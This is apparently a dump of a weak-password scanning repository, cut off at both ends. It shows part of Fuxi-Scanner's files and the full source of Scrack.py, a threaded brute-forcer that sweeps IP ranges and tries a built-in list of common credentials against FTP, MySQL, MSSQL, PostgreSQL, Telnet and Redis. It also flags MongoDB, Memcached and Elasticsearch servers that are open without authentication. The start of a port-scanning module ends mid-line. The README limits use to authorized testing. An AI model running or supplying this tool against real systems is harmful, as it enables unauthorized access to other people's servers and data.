'snmp', 'socks5',\n                         'ssh', 'sshkey', 'svn', 'teamspeak', 'telnet', 'vmauthd', 'vnc', 'xmpp'],\n    }\n    connectiondb(config_db).insert_one(config_data)\n\n\nif __name__ == '__main__':\n    config()\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/requirements.txt",
    "content": "gevent\nFlask\npocsuite\npymongo\npython-nmap\napscheduler\ndnspython\nipaddr\nbs4\nrequests"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/run.sh",
    "content": "#!/bin/bash\n\nAPP_PATH=`dirname $0`\ncd ${APP_PATH}\n\noption=$1\n[ -z \"$option\" ] && option=start\n\n\nstart(){\n    nohup python ./fuxi_scanner.py > ${APP_PATH}/logs/log.log 2>&1 &\n}\n\nstop(){\n    fuxi_scanner=`ps -ef | grep \"fuxi_scanner.py\" | grep -v \"$0\" | grep -v \"grep\" | awk '{print $2}'`\n    for pid in ${fuxi_scanner}\n    do\n    kill -9 ${pid}\n    done\n    hydra_scanner=`ps -ef | grep \"hydra\" | grep -v \"$0\" | grep -v \"grep\" | awk '{print $2}'`\n    for hydra_pid in ${hydra_scanner}\n    do\n    kill -9 ${hydra_pid}\n    done\n    nmap_scanner=`ps -ef | grep \"nmap\" | grep -v \"$0\" | grep -v \"grep\" | awk '{print $2}'`\n    for nmap_pid in ${nmap_scanner}\n    do\n    kill -9 ${nmap_pid}\n    done\n}\n\ncase ${option} in\n    start)\n    echo \"Starting  Now......\"\n    start\n    echo \"Starting  Finished\"\n    ;;\n    stop)\n    echo \"Stopping  Now......\"\n    stop\n    echo \"Stopping  Finished\"\n    ;;\n    restart)\n    echo \"Restart  Now......\"\n    stop\n    start\n    echo \"Restart  Finished\"\n    ;;\n    *)\nesac\n"
  },
  {
    "path": "Weak_Password/Scrack/README.md",
    "content": "# Scrack(服务弱口令检测脚本)\n\n1. 功能\n\t一款python编写的轻量级弱口令检测脚本，目前支持以下服务：FTP、MYSQL、MSSQL、MONGODB、REDIS、TELNET、ELASTICSEARCH、POSTGRESQL。  \n2. 特点\n\t命令行、单文件，绿色方便各种情况下的使用。  \n\t无需任何外库以及外部程序支持，所有协议均采用socket与内置库进行检测。  \n\t兼容OSX、LINUX、WINDOWS，Python 2.6+(更低版本请自行测试，理论上均可运行)。  \n3. 参数说明\n\tpython Scrack.py -h 192.168.1 [-p 21,80,3306] [-m 50] [-t 10]  \n\t-h 必须输入的参数，支持ip(192.168.1.1)，ip段（192.168.1），ip范围指定（192.168.1.1-192.168.1.254）,ip列表文件（ip.ini），最多限制一次可扫描65535个IP。  \n\t-p 指定要扫描端口列表，多个端口使用,隔开 例如：1433,3306,5432。未指定即使用内置默认端口进行扫描(21,23,1433,3306,5432,6379,9200,11211,27017)  \n\t-m 指定线程数量 默认100线程  \n\t-t 指定请求超时时间。  \n\t-d 指定密码字典。  \n\t-n 不进行存活探测(ICMP)直接进行扫描。  \n4. 使用例子  \n\tpython Scrack.py -h 10.111.1  \n\tpython Scrack.py -h 192.168.1.1 -d pass.txt  \n\tpython Scrack.py -h 10.111.1.1-10.111.2.254 -p 3306,5432 -m 200 -t 6  \n\tpython Scrack.py.py -h ip.ini -n  \n5. 法律声明\n\t此脚本仅可用于授权的渗透测试以及自身的安全检测中。  \n\t此脚本仅用于学习以及使用，可自由进行改进，禁止提取加入任何有商业行为的产品中。  \n"
  },
  {
    "path": "Weak_Password/Scrack/Scrack.py",
    "content": "#coding:utf-8\n\nimport getopt\nimport sys\nimport Queue\nimport threading\nimport socket\nimport urllib2\nimport time\nimport os\nimport re\nimport ftplib\nimport hashlib\nimport struct\nimport binascii\nimport telnetlib\nimport array\n\nqueue = Queue.Queue()\nmutex = threading.Lock()\nTIMEOUT = 10\nI = 0\nUSER_DIC = {\n    \"ftp\":['www','admin','root','db','wwwroot','data','web','ftp'],\n    \"mysql\":['root'],\n    \"mssql\":['sa'],\n    \"telnet\":['administrator','admin','root','cisco'],\n    \"postgresql\":['postgres','admin'],\n    \"redis\":['null'],\n    \"mongodb\":['null'],\n    \"memcached\":['null'],\n    \"elasticsearch\":['null']\n}\nPASSWORD_DIC = ['123456','admin','root','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2016','{user}2015','{user}!','','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','fuckyou','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','159357','p@ssw0rd','p@55w0rd','password!','p@ssw0rd!','password1','r00t','tomcat','apache','system']\nREGEX = [['ftp', '21', '^220.*?ftp|^220-|^220 Service|^220 FileZilla'],  ['telnet', '23', '^\\\\xff[\\\\xfa-\\\\xfe]|^\\\\x54\\\\x65\\\\x6c|Telnet'],['mssql', '1433', ''], ['mysql', '3306', '^.\\\\0\\\\0\\\\0.*?mysql|^.\\\\0\\\\0\\\\0\\\\n|.*?MariaDB server'], ['postgresql', '5432', ''], ['redis', '6379', '-ERR|^\\\\$\\\\d+\\\\r\\\\nredis_version'], ['elasticsearch', '9200', ''], ['memcached', '11211', '^ERROR'], ['mongodb', '27017', '']]\nclass Crack():\n    def __init__(self,ip,port,server,timeout):\n        self.ip = ip\n        self.port = port\n        self.server = server\n        self.timeout = timeout\n    def run(self):\n        user_list = USER_DIC[self.server]\n        #print user_list\n        for user in user_list:\n            for pass_ in PASSWORD_DIC:\n                pass_ = str(pass_.replace('{user}', user))\n                k = getattr(self,self.server)\n                result = k(user,pass_)\n                if result:return result\n    def ftp(self,user,pass_):\n        try:\n            ftp=ftplib.FTP()\n            ftp.connect(self.ip,self.port)\n            ftp.login(user,pass_)\n            if user == 'ftp':return \"anonymous\"\n            return \"username:%s,password:%s\"%(user,pass_)\n        except Exception,e:\n            pass\n    def mysql(self,user,pass_):\n        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        sock.connect((self.ip,int(self.port)))\n        packet = sock.recv(254)\n        plugin,scramble = self.get_scramble(packet)\n        if not scramble:return 3\n        auth_data = self.get_auth_data(user,pass_,scramble,plugin)\n        sock.send(auth_data)\n        result = sock.recv(1024)\n        if result == \"\\x07\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\":\n            return \"username:%s,password:%s\" % (user,pass_)\n    def postgresql(self,user,pass_):#author:hos@YSRC\n        try:\n            sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n            sock.connect((self.ip,int(self.port)))\n            packet_length = len(user) + 7 +len(\"\\x03user  database postgres application_name psql client_encoding UTF8  \")\n            p=\"%c%c%c%c%c\\x03%c%cuser%c%s%cdatabase%cpostgres%capplication_name%cpsql%cclient_encoding%cUTF8%c%c\"%( 0,0,0,packet_length,0,0,0,0,user,0,0,0,0,0,0,0,0)\n            sock.send(p)\n            packet = sock.recv(1024)\n            psql_salt=[]\n            if packet[0]=='R':\n                a=str([packet[4]])\n                b=int(a[4:6],16)\n                authentication_type=str([packet[8]])\n                c=int(authentication_type[4:6],16)\n                if c==5:psql_salt=packet[9:]\n            else:return 3\n            buf=[]\n            salt = psql_salt\n            lmd5= self.make_response(buf,user,pass_,salt)\n            packet_length1=len(lmd5)+5+len('p')\n            pp='p%c%c%c%c%s%c'%(0,0,0,packet_length1 - 1,lmd5,0)\n            sock.send(pp)\n            packet1 = sock.recv(1024)\n            if packet1[0] == \"R\":\n                return \"username:%s,password:%s\" % (user,pass_)\n        except Exception,e:\n            return 3\n    def redis(self,user,pass_):\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.connect((self.ip,int(self.port)))\n            s.send(\"INFO\\r\\n\")\n            result = s.recv(1024)\n            if \"redis_version\" in result:\n                return \"unauthorized\"\n            elif \"Authentication\" in result:\n                for pass_ in PASSWORD_DIC:\n                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                    s.connect((self.ip,int(self.port)))\n                    s.send(\"AUTH %s\\r\\n\"%(pass_))\n                    result = s.recv(1024)\n                    if '+OK' in result:\n                        return \"username:%s,password:%s\" % (user,pass_)\n        except Exception,e:\n            return 3\n    def mssql(self,user,pass_):#author:hos@YSRC\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect((self.ip,self.port))\n            hh=binascii.b2a_hex(self.ip)\n            husername=binascii.b2a_hex(user)\n            lusername=len(user)\n            lpassword=len(pass_)\n            ladd=len(self.ip)+len(str(self.port))+1\n            hladd=hex(ladd).replace('0x','')\n            hpwd=binascii.b2a_hex(pass_)\n            pp=binascii.b2a_hex(str(self.port))\n            address=hh+'3a'+pp\n            hhost= binascii.b2a_hex(self.ip)\n            data=\"0200020000000000123456789000000000000000000000000000000000000000000000000000ZZ5440000000000000000000000000000000000000000000000000000000000X3360000000000000000000000000000000000000000000000000000000000Y373933340000000000000000000000000000000000000000000000000000040301060a09010000000002000000000070796d7373716c000000000000000000000000000000000000000000000007123456789000000000000000000000000000000000000000000000000000ZZ3360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Y0402000044422d4c6962726172790a00000000000d1175735f656e676c69736800000000000000000000000000000201004c000000000000000000000a000000000000000000000000000069736f5f31000000000000000000000000000000000000000000000000000501353132000000030000000000000000\"\n            data1=data.replace(data[16:16+len(address)],address)\n            data2=data1.replace(data1[78:78+len(husername)],husername)\n            data3=data2.replace(data2[140:140+len(hpwd)],hpwd)\n            if lusername>=16:\n                data4=data3.replace('0X',str(hex(lusername)).replace('0x',''))\n            else:\n                data4=data3.replace('X',str(hex(lusername)).replace('0x',''))\n            if lpassword>=16:\n                data5=data4.replace('0Y',str(hex(lpassword)).replace('0x',''))\n            else:\n                data5=data4.replace('Y',str(hex(lpassword)).replace('0x',''))\n            hladd = hex(ladd).replace('0x', '')\n            data6=data5.replace('ZZ',str(hladd))\n            data7=binascii.a2b_hex(data6)\n            sock.send(data7)\n            packet=sock.recv(1024)\n            if 'master' in packet:\n                return \"username:%s,password:%s\" % (user,pass_)\n        except:\n            return 3\n    def mongodb(self,user,pass_):\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.connect((self.ip,int(self.port)))\n            data = binascii.a2b_hex(\"3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000\")\n            s.send(data)\n            result = s.recv(1024)\n            if \"ismaster\" in result:\n                getlog_data = binascii.a2b_hex(\"480000000200000000000000d40700000000000061646d696e2e24636d6400000000000100000021000000026765744c6f670010000000737461727475705761726e696e67730000\")\n                s.send(getlog_data)\n                result = s.recv(1024)\n                if \"totalLinesWritten\" in result:\n                    return \"unauthorized\"\n                else:return 3\n        except Exception,e:\n            return 3\n    def memcached(self,user,pass_):\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.connect((self.ip,int(self.port)))\n        s.send(\"stats\\r\\n\")\n        result = s.recv(1024)\n        if \"version\" in result:\n            return \"unauthorized\"\n    def elasticsearch(self,user,pass_):\n        url = \"http://\"+self.ip+\":\"+str(self.port)+\"/_cat\"\n        data = urllib2.urlopen(url).read()\n        if '/_cat/master' in data:\n            return \"unauthorized\"\n        else:\n            return 3\n    def telnet(self,user,pass_):\n        try:\n            tn = telnetlib.Telnet(self.ip,self.port,self.timeout)\n            #tn.set_debuglevel(3)\n            time.sleep(0.5)\n            os = tn.read_some()\n        except Exception ,e:\n            return 3\n        user_match=\"(?i)(login|user|username)\"\n        pass_match='(?i)(password|pass)'\n        login_match='#|\\$|>'\n        if re.search(user_match,os):\n            try:\n                tn.write(str(user)+'\\r\\n')\n                tn.read_until(pass_match,timeout=2)\n                tn.write(str(pass_)+'\\r\\n')\n                login_info=tn.read_until(login_match,timeout=3)\n                tn.close()\n                if re.search(login_match,login_info):\n                    return \"username:%s,password:%s\" % (user,pass_)\n            except Exception,e:\n                pass\n        else:\n            try:\n                info=tn.read_until(user_match,timeout=2)\n            except Exception,e:\n                return 3\n            if re.search(user_match,info):\n                try:\n                    tn.write(str(user)+'\\r\\n')\n                    tn.read_until(pass_match,timeout=2)\n                    tn.write(str(pass_)+'\\r\\n')\n                    login_info=tn.read_until(login_match,timeout=3)\n                    tn.close()\n                    if re.search(login_match,login_info):\n                        return \"username:%s,password:%s\" % (user,pass_)\n                except Exception,e:\n                    return 3\n            elif re.search(pass_match,info):\n                tn.read_until(pass_match,timeout=2)\n                tn.write(str(pass_)+'\\r\\n')\n                login_info=tn.read_until(login_match,timeout=3)\n                tn.close()\n                if re.search(login_match,login_info):\n                    return \"password:%s\" % (pass_)\n    def get_hash(self,password, scramble):\n        hash_stage1 = hashlib.sha1(password).digest()\n        hash_stage2 = hashlib.sha1(hash_stage1).digest()\n        to = hashlib.sha1(scramble+hash_stage2).digest()\n        reply = [ord(h1) ^ ord(h3) for (h1, h3) in zip(hash_stage1, to)]\n        hash = struct.pack('20B', *reply)\n        return hash\n    def get_scramble(self,packet):\n        scramble,plugin = '',''\n        try:\n            tmp = packet[15:]\n            m = re.findall(\"\\x00?([\\x01-\\x7F]{7,})\\x00\", tmp)\n            if len(m)>3:del m[0]\n            scramble = m[0] + m[1]\n        except:\n            return '',''\n        try:\n            plugin = m[2]\n        except:\n            pass\n        return plugin,scramble\n    def get_auth_data(self,user,password,scramble,plugin):\n        user_hex = binascii.b2a_hex(user)\n        pass_hex = binascii.b2a_hex(self.get_hash(password,scramble))\n        data = \"85a23f0000000040080000000000000000000000000000000000000000000000\" + user_hex + \"0014\" + pass_hex\n        if plugin:data+=binascii.b2a_hex(plugin)+ \"0055035f6f73076f737831302e380c5f636c69656e745f6e616d65086c69626d7973716c045f7069640539323330360f5f636c69656e745f76657273696f6e06352e362e3231095f706c6174666f726d067838365f3634\"\n        len_hex = hex(len(data)/2).replace(\"0x\",\"\")\n        auth_data = len_hex + \"000001\" +data\n        return binascii.a2b_hex(auth_data)\n    def make_response(self,buf,username,password,salt):\n        pu=hashlib.md5(password+username).hexdigest()\n        buf=hashlib.md5(pu+salt).hexdigest()\n        return 'md5'+buf\nclass SendPingThr(threading.Thread):\n    def __init__(self, ipPool, icmpPacket, icmpSocket, timeout=3):\n        threading.Thread.__init__(self)\n        self.Sock = icmpSocket\n        self.ipPool = ipPool\n        self.packet = icmpPacket\n        self.timeout = timeout\n        self.Sock.settimeout(timeout + 1)\n    def run(self):\n        time.sleep(0.01)\n        for ip in self.ipPool:\n            try:\n                self.Sock.sendto(self.packet, (ip, 0))\n            except socket.timeout:\n                break\n        time.sleep(self.timeout)\n\nclass Nscan:\n    def __init__(self, timeout=3):\n        self.timeout = timeout\n        self.__data = struct.pack('d', time.time())\n        self.__id = os.getpid()\n        if self.__id  >= 65535:self.__id = 65534\n    @property\n    def __icmpSocket(self):\n        Sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname(\"icmp\"))\n        return Sock\n\n    def __inCksum(self, packet):\n        if len(packet) & 1:\n            packet = packet + '\\0'\n        words = array.array('h', packet)\n        sum = 0\n        for word in words:\n            sum += (word & 0xffff)\n        sum = (sum >> 16) + (sum & 0xffff)\n        sum = sum + (sum >> 16)\n        return (~sum) & 0xffff\n\n    @property\n    def __icmpPacket(self):\n        header = struct.pack('bbHHh', 8, 0, 0, self.__id, 0)\n        packet = header + self.__data\n        chkSum = self.__inCksum(packet)\n        header = struct.pack('bbHHh', 8, 0, chkSum, self.__id, 0)\n        return header + self.__data\n\n    def mPing(self, ipPool):\n        Sock = self.__icmpSocket\n        Sock.settimeout(self.timeout)\n        packet = self.__icmpPacket\n        recvFroms = set()\n        sendThr = SendPingThr(ipPool, packet, Sock, self.timeout)\n        sendThr.start()\n        while True:\n            try:\n                ac_ip = Sock.recvfrom(1024)[1][0]\n                if ac_ip not in recvFroms:\n                    log(\"active\",ac_ip,0,None)\n                    recvFroms.add(ac_ip)\n            except Exception:\n                pass\n            finally:\n                if not sendThr.isAlive():\n                    break\n        return recvFroms & ipPool\ndef get_ac_ip(ip_list):\n    try:\n        s = Nscan()\n        ipPool = set(ip_list)\n        return s.mPing(ipPool)\n    except Exception,e:\n        print 'The current user permissions unable to send icmp packets'\n        return ip_list\nclass ThreadNum(threading.Thread):\n    def __init__(self,queue):\n        threading.Thread.__init__(self)\n        self.queue = queue\n    def run(self):\n        while True:\n            try:\n                if queue.empty():break\n                queue_task = self.queue.get()\n            except:\n                break\n            try:\n                task_type,task_host,task_port = queue_task.split(\":\")\n                if task_type == 'portscan':\n                    data = scan_port(task_host,task_port)\n                    if data:\n                        server_name = server_discern(task_host,task_port,data)\n                        if server_name:\n                            log('discern',task_host,task_port,server_name)\n                            queue.put(\":\".join([server_name,task_host,task_port]))\n                else:\n                    result = pass_crack(task_type,task_host,task_port)\n                    if result and result !=3:log(task_type,task_host,task_port,result)\n            except Exception,e:\n                continue\ndef scan_port(host,port):\n    try:\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.connect((str(host),int(port)))\n        log('portscan',host,port)\n    except Exception,e:\n        return False\n    try:\n        data = sock.recv(512)\n        if len(data) > 2:\n            return data\n        else:\n            sock.send('a\\n\\n')\n            data = sock.recv(512)\n            sock.close()\n            if len(data) > 2:\n                return data\n            else:\n                return 'NULL'\n    except Exception,e:\n        sock.close()\n        return 'NULL'\ndef log(scan_type,host,port,info=''):\n    mutex.acquire()\n    time_str = time.strftime('%X', time.localtime( time.time()))\n    if scan_type == 'portscan':\n        print \"[%s] %s:%d open\"%(time_str,host,int(port))\n    elif scan_type == 'discern':\n        print \"[%s] %s:%d is %s\"%(time_str,host,int(port),info)\n    elif scan_type == 'active':\n        print \"[%s] %s active\" % (time_str, host)\n    elif info:\n        log =  \"[*%s] %s:%d %s %s\"%(time_str,host,int(port),scan_type,info)\n        print log\n        log_file = open('result.log','a')\n        log_file.write(log+\"\\r\\n\")\n        log_file.close()\n    mutex.release()\ndef server_discern(host,port,data):\n    for mark_info in REGEX:\n        try:\n            name,default_port,reg = mark_info\n            if reg and data <> 'NULL':\n                matchObj = re.search(reg,data,re.I|re.M)\n                if matchObj:\n                    return name\n            elif int(default_port) == int(port):\n                return name\n        except Exception,e:\n            #print e\n            continue\ndef pass_crack(server_type,host,port):\n    m = Crack(host,port,server_type,TIMEOUT)\n    return m.run()\ndef get_password_dic(path):\n    pass_list = []\n    try:\n        file_ = open(path,'r')\n        for password in file_:\n            pass_list.append(password.strip())\n        file_.close()\n        return pass_list\n    except:\n        return 'read dic error'\ndef get_ip_list(ip):\n    ip_list = []\n    iptonum = lambda x:sum([256**j*int(i) for j,i in enumerate(x.split('.')[::-1])])\n    numtoip = lambda x: '.'.join([str(x/(256**i)%256) for i in range(3,-1,-1)])\n    if '-' in ip:\n        ip_range = ip.split('-')\n        ip_start = long(iptonum(ip_range[0]))\n        ip_end = long(iptonum(ip_range[1]))\n        ip_count = ip_end - ip_start\n        if ip_count >= 0 and ip_count <= 65536:\n            for ip_num in range(ip_start,ip_end+1):\n                ip_list.append(numtoip(ip_num))\n        else:\n            print '-h wrong format'\n    elif '.ini' in ip:\n        ip_config = open(ip,'r')\n        for ip in ip_config:\n            ip_list.extend(get_ip_list(ip.strip()))\n        ip_config.close()\n    else:\n        ip_split=ip.split('.')\n        net = len(ip_split)\n        if net == 2:\n            for b in range(1,255):\n                for c in range(1,255):\n                    ip = \"%s.%s.%d.%d\"%(ip_split[0],ip_split[1],b,c)\n                    ip_list.append(ip)\n        elif net == 3:\n            for c in range(1,255):\n                ip = \"%s.%s.%s.%d\"%(ip_split[0],ip_split[1],ip_split[2],c)\n                ip_list.append(ip)\n        elif net ==4:\n            ip_list.append(ip)\n        else:\n            print \"-h wrong format\"\n    return ip_list\ndef t_join(m_count):\n    tmp_count = 0\n    i = 0\n    if I < m_count:\n        count = len(ip_list) + 1\n    else:\n        count = m_count\n    while True:\n        time.sleep(4)\n        ac_count = threading.activeCount()\n        #print ac_count,count\n        if ac_count < count  and ac_count == tmp_count:\n            i+=1\n        else:\n            i=0\n        tmp_count = ac_count\n        #print ac_count,queue.qsize()\n        if (queue.empty() and threading.activeCount() <= 1) or i > 5:\n            break\ndef put_queue(ip_list,port_list):\n    for ip in ip_list:\n        for port in port_list:\n            queue.put(\":\".join(['portscan',ip,port]))\nif __name__==\"__main__\":\n    msg = '''\nUsage: python Scrack.py -h 192.168.1 [-p 21,80,3306] [-m 50] [-t 10] [-d pass.txt] [-n]\n    '''\n    if len(sys.argv) < 2:\n        print msg\n    try:\n        options,args = getopt.getopt(sys.argv[1:],\"h:p:m:t:d:n\")\n        ip = ''\n        port = '21,23,1433,3306,5432,6379,9200,11211,27017'\n        m_count = 100\n        ping = True\n        for opt,arg in options:\n            if opt == '-h':\n                ip = arg\n            elif opt == '-p':\n                port = arg\n            elif opt == '-m':\n                m_count = int(arg)\n            elif opt == '-t':\n                TIMEOUT = int(arg)\n            elif opt == '-n':\n                ping = False\n            elif opt == '-d':\n                PASSWORD_DIC = get_password_dic(arg)\n        socket.setdefaulttimeout(TIMEOUT)\n        if ip:\n            ip_list = get_ip_list(ip)\n            if ping:ip_list = get_ac_ip(ip_list)\n            port_list = port.split(',')\n            for ip_str in ip_list:\n                for port_int in port_list:\n                    I+=1\n                    queue.put(':'.join(['portscan',ip_str,port_int]))\n            for i in range(m_count):\n                t = ThreadNum(queue)\n                t.setDaemon(True)\n                t.start()\n            t_join(m_count)\n    except Exception,e:\n          print msg\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/README.md",
    "content": "# fenghuangscan_v3\n\nwilson@wilson-2:~/tools/fenghuangscanner_$ python main.py -h\n\n\nusage: main.py [-h] [--ip IP] [--threads THREADS] [--P ISPING]\n               [--p USER_PORTS] [--file FILE]\n\nports&*weak password scanner. teams:xdsec. author: wilson\n\noptional arguments:\n  -h, --help         show this help message and exit\n\n  --ip IP            ip like 192.168.1.0/24 or 192.168.0.0/16\n\n  --threads THREADS  Maximum threads, default 50\n\n  --P ISPING         --P not mean no ping frist,default yes\n\n  --p USER_PORTS     --p scan ports;like 21,80,445 or 22-1000\n\n  --file FILE        get ips or domains for this file\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/comm/__init__.py",
    "content": ""
  },
  {
    "path": "Weak_Password/fenghuangscanner/comm/config.py",
    "content": "#coding=utf-8\n__author__ = 'wilson'\nfrom IPy import IP\nfrom comm.printers import printPink,printRed,printGreen\n\nclass config(object):\n\t\n\tdef getips(self,ip):\n\t\tiplist=[]\n\t\ttry:\n\t\t\tif \"-\" in ip.split(\".\")[3]:\n\t\t\t\tstartnum=int(ip.split(\".\")[3].split(\"-\")[0])\n\t\t\t\tendnum=int(ip.split(\".\")[3].split(\"-\")[1])\n\t\t\t\tfor i in range(startnum,endnum):\n\t\t\t\t\tiplist.append(\"%s.%s.%s.%s\" %(ip.split(\".\")[0],ip.split(\".\")[1],ip.split(\".\")[2],i))\n\t\t\telse:\n\t\t\t\tips=IP(ip)\n\t\t\t\tfor i in ips:\n\t\t\t\t\tiplist.append(str(i))\n\t\t\t\n\t\t\treturn iplist\n\n\t\texcept:\n\t\t\tprintRed(\"[!] not a valid ip given. you should put ip like 192.168.1.0/24, 192.168.0.0/16,192.168.0.1-200\")\n\t\t\texit()\n\n\n\tdef file2list(self,file):\n\t\tiplist=[]\n\t\ttry:\n\t\t\tfh = open(file)\n\t\t\tfor ip in fh.readlines():\n\t\t\t\tip=ip.strip()\n\t\t\t\tiplist.append(ip)\n\t\t\tfh.close()\n\t\t\treturn iplist\n\t\texcept Exception, e:\n\t\t\tprint e\n\t\t\texit()\n\n\n\tdef write_file(self,file,contents):\n\t    f2 = open(file,'a+')\n\t    f2.write(contents)\n\t    f2.close()"
  },
  {
    "path": "Weak_Password/fenghuangscanner/comm/portscan.py",
    "content": "#coding=utf-8\n__author__ = 'wilson'\nimport sys\nsys.path.append(\"../\")\nfrom comm.config import *\nfrom comm.printers import printPink,printRed,printGreen\n\nimport threading\nfrom threading import Thread\nfrom Queue import Queue\nimport platform\nfrom subprocess import Popen, PIPE\nimport re\nimport time\nimport socket\nsocket.setdefaulttimeout(10)  #设置了全局默认超时时间\n\nclass portscan():\n\n\t\"\"\"docstring for ClassName\"\"\"\n\tdef __init__(self,c,user_ports):\n\t\tself.config=c\n\t\tself.PROBES =[\n\t\t    '\\r\\n\\r\\n',\n\t\t    'GET / HTTP/1.0\\r\\n\\r\\n',\n\t\t    'GET / \\r\\n\\r\\n',\n\t\t    '\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x08',\n\t\t    '\\x80\\0\\0\\x28\\x72\\xFE\\x1D\\x13\\0\\0\\0\\0\\0\\0\\0\\x02\\0\\x01\\x86\\xA0\\0\\x01\\x97\\x7C\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0',\n\t\t    '\\x03\\0\\0\\x0b\\x06\\xe0\\0\\0\\0\\0\\0',\n\t\t    '\\0\\0\\0\\xa4\\xff\\x53\\x4d\\x42\\x72\\0\\0\\0\\0\\x08\\x01\\x40\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x40\\x06\\0\\0\\x01\\0\\0\\x81\\0\\x02PC NETWORK PROGRAM 1.0\\0\\x02MICROSOFT NETWORKS 1.03\\0\\x02MICROSOFT NETWORKS 3.0\\0\\x02LANMAN1.0\\0\\x02LM1.2X002\\0\\x02Samba\\0\\x02NT LANMAN 1.0\\0\\x02NT LM 0.12\\0',\n\t\t    '\\x80\\x9e\\x01\\x03\\x01\\x00u\\x00\\x00\\x00 \\x00\\x00f\\x00\\x00e\\x00\\x00d\\x00\\x00c\\x00\\x00b\\x00\\x00:\\x00\\x009\\x00\\x008\\x00\\x005\\x00\\x004\\x00\\x003\\x00\\x002\\x00\\x00/\\x00\\x00\\x1b\\x00\\x00\\x1a\\x00\\x00\\x19\\x00\\x00\\x18\\x00\\x00\\x17\\x00\\x00\\x16\\x00\\x00\\x15\\x00\\x00\\x14\\x00\\x00\\x13\\x00\\x00\\x12\\x00\\x00\\x11\\x00\\x00\\n\\x00\\x00\\t\\x00\\x00\\x08\\x00\\x00\\x06\\x00\\x00\\x05\\x00\\x00\\x04\\x00\\x00\\x03\\x07\\x00\\xc0\\x06\\x00@\\x04\\x00\\x80\\x03\\x00\\x80\\x02\\x00\\x80\\x01\\x00\\x80\\x00\\x00\\x02\\x00\\x00\\x01\\xe4i<+\\xf6\\xd6\\x9b\\xbb\\xd3\\x81\\x9f\\xbf\\x15\\xc1@\\xa5o\\x14,M \\xc4\\xc7\\xe0\\xb6\\xb0\\xb2\\x1f\\xf9)\\xe8\\x98',\n\t\t    '\\x16\\x03\\0\\0S\\x01\\0\\0O\\x03\\0?G\\xd7\\xf7\\xba,\\xee\\xea\\xb2`~\\xf3\\0\\xfd\\x82{\\xb9\\xd5\\x96\\xc8w\\x9b\\xe6\\xc4\\xdb<=\\xdbo\\xef\\x10n\\0\\0(\\0\\x16\\0\\x13\\0\\x0a\\0f\\0\\x05\\0\\x04\\0e\\0d\\0c\\0b\\0a\\0`\\0\\x15\\0\\x12\\0\\x09\\0\\x14\\0\\x11\\0\\x08\\0\\x06\\0\\x03\\x01\\0',\n\t\t    '< NTP/1.2 >\\n',\n\t\t    '< NTP/1.1 >\\n',\n\t\t    '< NTP/1.0 >\\n',\n\t\t    '\\0Z\\0\\0\\x01\\0\\0\\0\\x016\\x01,\\0\\0\\x08\\0\\x7F\\xFF\\x7F\\x08\\0\\0\\0\\x01\\0 \\0:\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\04\\xE6\\0\\0\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0(CONNECT_DATA=(COMMAND=version))',\n\t\t    '\\x12\\x01\\x00\\x34\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x06\\x01\\x00\\x1b\\x00\\x01\\x02\\x00\\x1c\\x00\\x0c\\x03\\x00\\x28\\x00\\x04\\xff\\x08\\x00\\x01\\x55\\x00\\x00\\x00\\x4d\\x53\\x53\\x51\\x4c\\x53\\x65\\x72\\x76\\x65\\x72\\x00\\x48\\x0f\\x00\\x00',\n\t\t    '\\0\\0\\0\\0\\x44\\x42\\x32\\x44\\x41\\x53\\x20\\x20\\x20\\x20\\x20\\x20\\x01\\x04\\0\\0\\0\\x10\\x39\\x7a\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x01\\x0c\\0\\0\\0\\0\\0\\0\\x0c\\0\\0\\0\\x0c\\0\\0\\0\\x04',\n\t\t    